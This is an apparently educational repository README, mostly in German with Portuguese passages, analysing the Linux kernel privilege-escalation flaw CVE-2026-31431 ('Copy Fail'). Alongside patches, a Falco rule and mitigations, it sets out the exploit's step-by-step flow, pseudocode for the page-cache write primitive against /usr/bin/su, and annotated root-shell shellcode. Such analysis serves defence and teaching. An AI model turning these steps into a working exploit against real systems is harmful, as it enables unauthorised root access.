
Bildungsbezogene Analyse von CVE-2026-31431, einer lokalen Privilegieneskalation im Linux-Kernel über die In-Place-Operation von AF_ALG AEAD, einschließlich technischer Ursachenanalyse, Erkennung und Gegenmaßnahmen.
Pädagogische technische Analyse einer der bedeutendsten Schwachstellen des Linux-Kernels seit Dirty Pipe (2022).
Dieses Repository dient Forschung, Studium und Verteidigung. Hier wird kein funktionsfähiger Exploit verteilt.
CVE-2026-31431, auch Copy Fail genannt, ist eine Schwachstelle zur lokalen Rechteausweitung (LPE — Local Privilege Escalation) im Linux-Kernel. Sie ermöglicht es jedem Benutzer ohne Privilegien, innerhalb von Sekunden root-Zugriff zu erlangen.
| Attribut | Wert |
|---|---|
| CVE | CVE-2026-31431 |
| CVSS-Score | 7.8 HOCH |
| Typ | Local Privilege Escalation (LPE) |
| Subsystem | crypto/algif_aead.c — AF_ALG |
| Eingeführt in | Kernel 4.14 (Commit 72548b093ee3, Juli 2017) |
| Behoben in | 6.18.22 / 6.19.12 / 7.0 (Commit a664bf3d603d) |
| Entdeckt von | Taeyang Lee — Theori / Xint Code |
| Öffentliche Offenlegung | 29. April 2026 |
| Öffentlicher PoC | Ja — Python-Skript mit ~732 Bytes |
Stellen Sie sich vor, das Betriebssystem hat einen Arbeitsspeicher (genannt Page Cache), in dem Kopien der Dateien aufbewahrt werden, die gerade verwendet werden. Wenn Sie ein Programm ausführen, lädt das System dieses Programm in diesen Speicher und führt es von dort aus — nicht direkt von der Festplatte.
Copy Fail ermöglicht es einem normalen Benutzer, diese Kopie im Speicher eines speziellen Programms (eines setuid-Binärs, wie dem Befehl su) zu verändern, ohne die Originaldatei auf der Festplatte anzufassen. Die Datei auf der Festplatte bleibt intakt, aber wenn das Programm ausgeführt wird, liest das System die korrumpierte Version aus dem Speicher.
Es ist, als würde man das Rezept eines Gerichts im Gedächtnis eines Kochs austauschen, während er kocht — das ursprüngliche Kochbuch ändert sich nicht, aber das Gericht, das herauskommt, ist völlig anders.
Das Ergebnis: Das korrumpierte Programm führt Code des Angreifers mit root-Berechtigungen aus.
Was dies besonders gefährlich macht:
2015 → AF_ALG ganha suporte a AEAD (algif_aead.c) authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)
2017 → Commit 72548b093ee3: otimização converte operação para in-place req->src = req->dst → páginas do page cache entram na scatterlist de escrita BUG INTRODUZIDO — passa despercebido por ~9 anos
2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux Descoberta assistida por IA (Xint Code — ~1h de scan)
2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017
2026 Abr 22 → CVE-2026-31431 atribuída
2026 Abr 29 → Divulgação pública + PoC Python liberado Arch Linux, Fedora, Amazon Linux já com patches Ubuntu, RHEL, SUSE publicam guidance de mitigação
2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux Adicionado ao CISA KEV (Known Exploited Vulnerabilities) Exploits em Go e Rust aparecem em repositórios públicos
---
## So funktioniert es technisch
### Überblick über den Ablauf```
Atacante (usuário sem privilégios)
│
├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
│ Cria socket de criptografia no kernel
│ bind: "authencesn(hmac(sha256),cbc(aes))"
│
├─ 2. setsockopt: define chave AEAD + authsize=4
│
├─ 3. accept() → op_socket
│
├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
│ AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
│
├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
│ CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
│ As páginas do arquivo agora estão no destino GRAVÁVEL da operação
│
├─ 6. recv() → dispara o authencesn
│ authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
│ Escreve 4 bytes em dst[assoclen + cryptlen]
│ = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
│ HMAC falha → retorna EBADMSG → IGNORADO
│
└─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
Executa o binário alvo → root shell
Der Bug lebt in crypto/algif_aead.c. Im Jahr 2017 wurde die AEAD-Operation auf in-place umgestellt, um Performance zu gewinnen:```c
// Antes (seguro): req->src e req->dst são scatterlists separadas
// Depois (bugado, commit 72548b093ee3):
req->src = req->dst; // mesma scatterlist para entrada e saída
// Para a tag de autenticação, em vez de copiar, o código encadeia por referência: sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl); // ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA
Der Algorithmus `authencesn` verwendet den Zielpuffer als *Scratch-Space*, um Bytes der Extended Sequence Number (ESN) von IPsec neu anzuordnen:```c
// Em authencesn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
// ^^^^^^^^^^^^^^^^^^^^^^^^^
// offset que ultrapassa o output buffer
// e cai nas páginas do page cache encadeadas
Das Schreiben umgeht das VFS vollständig. Die modifizierte Seite wird vom Writeback-Mechanismus des Kernels nie als dirty markiert. Die Datei auf der Festplatte bleibt unverändert. Auf Hash basierende Integritätstools (aide, tripwire, inotifywait) erkennen nichts, da sie die Festplatte überwachen, nicht den Page Cache.
Der Exploit bettet ein Mini-ELF von 160 Bytes ein, das mit zlib komprimiert ist. Nach der Dekomprimierung lautet der ausführbare Teil:```nasm ; Offset 0x78 no arquivo ELF (entry point)
xor eax, eax ; limpa registradores xor edi, edi ; uid = 0 mov al, 0x69 ; syscall 105 = setuid syscall ; setuid(0) → effective UID = root
lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0" xor esi, esi ; argv = NULL push 0x3b ; syscall 59 = execve pop rax cdq ; rdx = 0 (envp = NULL) syscall ; execve("/bin/sh", NULL, NULL)
; Fallback xor edi, edi push 0x3c ; syscall 60 = exit pop rax syscall ; exit(0)
bin_sh: db "/bin/sh", 0
**Minimale ELF-Struktur (insgesamt 160 Bytes):**```
Offset 0x00–0x3F → ELF64 Header (64 bytes)
e_type=ET_EXEC, e_machine=EM_X86_64
e_entry=0x400078, e_phnum=1
Offset 0x40–0x77 → Program Header PT_LOAD (56 bytes)
p_flags=PF_R|PF_X, p_vaddr=0x400000
p_filesz=0x9e
Offset 0x78–0x9D → Shellcode (26 bytes código + "/bin/sh\0")
Kernel-Versionen:
Distributionen mit bestätigten funktionierenden Exploits:
Erforderliche Bedingung: CONFIG_CRYPTO_USER_API_AEAD=y oder =m im Kernel
Prüfen, ob das System exponiert ist:```bash
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))')) print('⚠️ EXPOSTO: algif_aead acessível') s.close() except Exception as e: print(f'✅ Bloqueado: {e}') "
---
## Ist Android betroffen?
**Kurze Antwort:** Standard-Android (AOSP/GKI) **ist in der Praxis nicht verwundbar**, aber Geräte mit nicht-standardmäßigen Konfigurationen verdienen eine Überprüfung.
### Analyse nach Voraussetzung```
Pré-requisito Android AOSP/GKI padrão Android OEM/rooteado
──────────────────────────────────────────────────────────────────────────────
Kernel na faixa afetada ✅ Sim (Android 12–16) ✅ Sim
algif_aead habilitado ❌ Não (fora do GKI) ⚠️ Possível (OEM config)
AF_ALG acessível a apps ❌ Bloqueado SELinux+seccomp ⚠️ Depende da policy
Binário setuid disponível ❌ Android não usa setuid ⚠️ Apenas builds eng/root
──────────────────────────────────────────────────────────────────────────────
Exploração via APK ❌ Inviável ❌ Inviável
Exploração via ADB shell ❌ Bloqueado por SELinux ⚠️ Possível (permissive)
1. CONFIG_CRYPTO_USER_API_AEAD fehlt im GKI
Google nimmt diese Option nicht in die Standard-gki_defconfig für arm64 auf. Android verwendet BoringSSL im Userspace für Verschlüsselung und ist nicht von AF_ALG abhängig.
2. SELinux enforcing
Die untrusted_app-Domain von Androids SELinux besitzt keine create-Berechtigung für AF_ALG. Der Aufruf socket(AF_ALG, SOCK_SEQPACKET, 0) wird mit EACCES verweigert, bevor er das Kryptografie-Subsystem erreicht.
3. Seccomp-bpf
Android-Apps laufen mit einem Seccomp-Filter, der socket() mit domain=AF_ALG blockiert — es ist nicht in der Whitelist der erlaubten Syscalls für Drittanbieter-Apps enthalten.
4. Fehlen von setuid-Binaries
Android verwendet nicht das traditionelle setuid-Modell von Linux. Privilegierte Binaries nutzen spezifische Capabilities oder laufen als Dienste mit dedizierten UIDs. In Produktions-Builds von AOSP gibt es kein /usr/bin/su.
adb shell zcat /proc/config.gz | grep CRYPTO_USER_API_AEAD
adb shell getenforce
adb shell python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead','authencesn(hmac(sha256),cbc(aes))')) print('EXPOSTO') except Exception as e: print('Bloqueado:', e) " 2>/dev/null || echo "python3 não disponível no device"
adb shell find /system /vendor -perm -4000 -type f 2>/dev/null
---
## Erkennung
### Falco (Laufzeiterkennung)```yaml
- rule: Copy Fail - AF_ALG AEAD Socket por processo não autorizado
desc: >
Detecta criação de socket AF_ALG SOCK_SEQPACKET por processo fora da
toolchain de criptografia de disco. Primeiro passo obrigatório do CVE-2026-31431.
condition: >
evt.type = socket
and evt.rawres >= 0
and (evt.arg.domain = 38 or evt.arg.domain contains AF_ALG)
and (evt.arg.type = 5 or evt.arg.type = 2053)
and not proc.name in (cryptsetup, systemd-cryptsetup, veritysetup,
integritysetup, kcapi-enc, kcapi-dgst)
output: >
AF_ALG AEAD socket por processo suspeito
(proc=%proc.name pid=%proc.pid user=%user.name cmd=%proc.cmdline)
priority: CRITICAL
tags: [CVE-2026-31431, kernel, privilege_escalation]
### Prüfen, ob das System kompromittiert wurde```bash
# Page cache pode ser limpo com:
echo 3 > /proc/sys/vm/drop_caches
# Isso desfaz a corrupção em memória (sem trocar o binário em disco)
# Verificar integridade do binário em execução vs. disco:
# (não detecta a corrupção enquanto a página está no cache)
sha256sum /usr/bin/su
# Compare com o hash de referência da distribuição
sudo apt update && sudo apt upgrade linux-image-generic sudo reboot
sudo dnf upgrade kernel sudo reboot
sudo dnf upgrade kernel sudo reboot
sudo pacman -Syu linux sudo reboot
uname -r
**Korrigierte Versionen nach Serie:**
| Serie | Korrigierte Version |
|---|---|
| 5.10.x | 5.10.254 |
| 5.15.x | 5.15.204 |
| 6.1.x | 6.1.170 |
| 6.6.x | 6.6.137 |
| 6.12.x | 6.12.85 |
| 6.18.x | **6.18.22** |
| 6.19.x | **6.19.12** |
| 7.0+ | **7.0** (Fix enthalten) |
### Option 2 — algif_aead deaktivieren (temporärer Workaround)
**Wenn `CONFIG_CRYPTO_USER_API_AEAD=m` (ladbares Modul):**```bash
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null || true
Wenn CONFIG_CRYPTO_USER_API_AEAD=y (eingebaut — Fall RHEL/Rocky/CloudLinux):
⚠️ Der obige Befehl funktioniert nicht, wenn das Modul in den Kernel kompiliert ist.```bash
grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init" sudo reboot
cat /proc/cmdline | grep algif_aead_init
**Bestätigen, dass der Workaround funktioniert:**```bash
python3 -c "
import socket
try:
s = socket.socket(38, 5, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
print('❌ MITIGAÇÃO FALHOU — socket ainda acessível')
except:
print('✅ Mitigação ativa — socket bloqueado')
"
Kompatibilität des Workarounds:
Das Blockieren von algif_aead beeinträchtigt nicht dm-crypt/LUKS, kTLS, IPsec/XFRM, OpenSSL, GnuTLS, NSS, SSH. Es betrifft nur Anwendungen, die AF_ALG explizit für AEAD verwenden (selten — z. B. OpenSSL mit der Engine afalg, Hardware-Crypto-Offload).
{ "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{ "index": 0, "value": 38, "op": "SCMP_CMP_EQ" }] }] }
---
## Studienimplementierungen
Dieses Repository dokumentiert den Mechanismus des Exploits in mehreren Sprachen zu Bildungszwecken. Der Fokus liegt darauf zu verstehen, **wie** die Schwachstelle funktioniert, nicht darauf, offensive Werkzeuge zu verbreiten.
### Struktur des Mechanismus (Pseudocode)```
função escreve_4_bytes_no_page_cache(arquivo, offset, bytes[4]):
alg = socket(AF_ALG, SEQPACKET)
alg.bind("authencesn(hmac(sha256),cbc(aes))")
alg.set_key(chave_36_bytes)
alg.set_authsize(4) ← 4 bytes = tamanho do write primitivo
op = alg.accept()
# O segredo: bytes[0:4] vão para posições [4:8] do AAD
# authencesn lerá isso como seqno_lo e escreverá no page cache
aad = [0,0,0,0] + bytes ← [seqno_hi=0][seqno_lo=bytes_desejados]
op.sendmsg(aad + bytes, [OP_DECRYPT, IV_16B, assoclen=8])
pipe_r, pipe_w = pipe()
splice(arquivo → pipe_w, len=offset+4, src_offset=0)
splice(pipe_r → op, len=offset+4)
# ↑ Injeta page cache na scatterlist do AF_ALG
op.recv() ← dispara authencesn → escrita acontece → EBADMSG ignorado
# Uso:
elf_payload = descomprime(payload_zlib)
fd = open("/usr/bin/su", O_RDONLY)
para cada chunk[4] em elf_payload:
escreve_4_bytes_no_page_cache(fd, offset, chunk)
executa("/usr/bin/su") ← agora executa nosso ELF → root
Die Datei copyfail_study.md enthält die vollständigen und kommentierten Implementierungen.
Der wiederhergestellte Shellcode (nach der zlib-Dekomprimierung des PoC) bewirkt Folgendes:```
Total: 26 Bytes Code + 8 Bytes String = 34 Bytes Shellcode innerhalb eines 160-Byte-ELF.
---
## Referenzen
| Ressource | Link |
|---|---|
| Original-Writeup (Theori/Xint) | https://xint.io/blog/copy-fail-linux-distributions |
| Offizielle CVE-Website | https://copy.fail |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-31431 |
| Original-PoC-Repository | https://github.com/theori-io/copy-fail-CVE-2026-31431 |
| Mainline-Patch | https://git.kernel.org/stable/c/a664bf3d603d |
| Wikipedia | https://en.wikipedia.org/wiki/Copy_Fail |
| Sysdig-Analyse + Falco-Regel | https://sysdig.com/blog/cve-2026-31431-copy-fail |
| Microsoft-Defender-Analyse | https://microsoft.com/security/blog/2026/05/01/cve-2026-31431 |
| Tenable-FAQ | https://tenable.com/blog/copy-fail-cve-2026-31431 |
| CERT-EU-Advisory | https://cert.europa.eu/publications/security-advisories/2026-005 |
| Bugcrowd-Analyse | https://bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431 |
| OSS-Security-Diskussion | https://openwall.com/lists/oss-security/2026/04/29/23 |
| AlmaLinux-Patch | https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail |
| CloudLinux-Patch + Workaround-Analyse | https://blog.cloudlinux.com/cve-2026-31431-copy-fail |
| Kaspersky / Securelist | https://securelist.com/copyfail-root-linux/119634 |
---
## Haftungsausschluss
Dieses Repository dient **ausschließlich Bildungszwecken und der Forschung im Bereich defensiver Sicherheit**. Der hier enthaltene Inhalt richtet sich an:
- Fachleute für offensive und defensive Sicherheit
- Schwachstellenforscher
- Studierende der Informationssicherheit
- Systemadministratoren, die das Risiko verstehen müssen, um es zu mindern
**Nutzen Sie dieses Wissen nicht auf Systemen ohne ausdrückliche Genehmigung des Eigentümers.** Unbefugter Zugriff auf Computersysteme ist in praktisch allen Rechtsordnungen eine Straftat (in Brasilien: Gesetz 12.737/2012 — Lei Carolina Dieckmann; Gesetz 14.155/2021).
---
*Letzte Aktualisierung: Mai 2026*
*Beiträge sind per PR willkommen — behalten Sie den Bildungs- und Verteidigungsfokus bei.*
| Dirty Cow (2016) | Dirty Pipe (2022) | Copy Fail (2026) |
|---|
| CVE | CVE-2016-5195 | CVE-2022-0847 | CVE-2026-31431 |
| Typ | Race condition bei CoW | Pipe-Puffer ohne Flags | Logikfehler in AEAD |
| Zuverlässigkeit | Race-abhängig (~ms) | Deterministisch | Deterministisch |
| Spuren auf der Festplatte | Ja (dirty pages) | Nein | Nein |
| Portabilität | Breit | Bestimmte Versionen | Universell (2017–2026) |
| PoC-Größe | ~50 Zeilen C | ~40 Zeilen C | ~10 Zeilen Python |
| Subsystem | mm/ (CoW) | fs/ (pipe) | crypto/ (AF_ALG) |
| Entdeckung | Manuell | Manuell | KI-gestützt |
| Ausnutzungsfenster | Race-Fenster | Keines | Keines |
| Szenario | Risiko |
|---|
| Gerät mit Magisk/KernelSU + SELinux permissive | Hoch — alle Voraussetzungen können zusammentreffen |
OEM-Kernel mit CONFIG_CRYPTO_USER_API_AEAD=y + eng-Build | Mittel — hängt vom Shell-Zugriff ab |
| Bösartige App auf nicht gerootetem Gerät | Keines — SELinux + Seccomp blockieren |
| ADB im Produktions-Build | Keines — adb root funktioniert nicht |
| Sprache | Beschreibung |
|---|
| Python (deobfuskiert) | Bereinigte und kommentierte Version des ursprünglichen PoC |
| NASM x86_64 | Das ELF-Payload, Anweisung für Anweisung annotiert |
| Go | Verwendung von syscall.RawSyscall6 für SYS_SPLICE und SYS_SETSOCKOPT direkt |
| C | Implementierung mit struct msghdr, CMSG_DATA und zlib zur Laufzeit |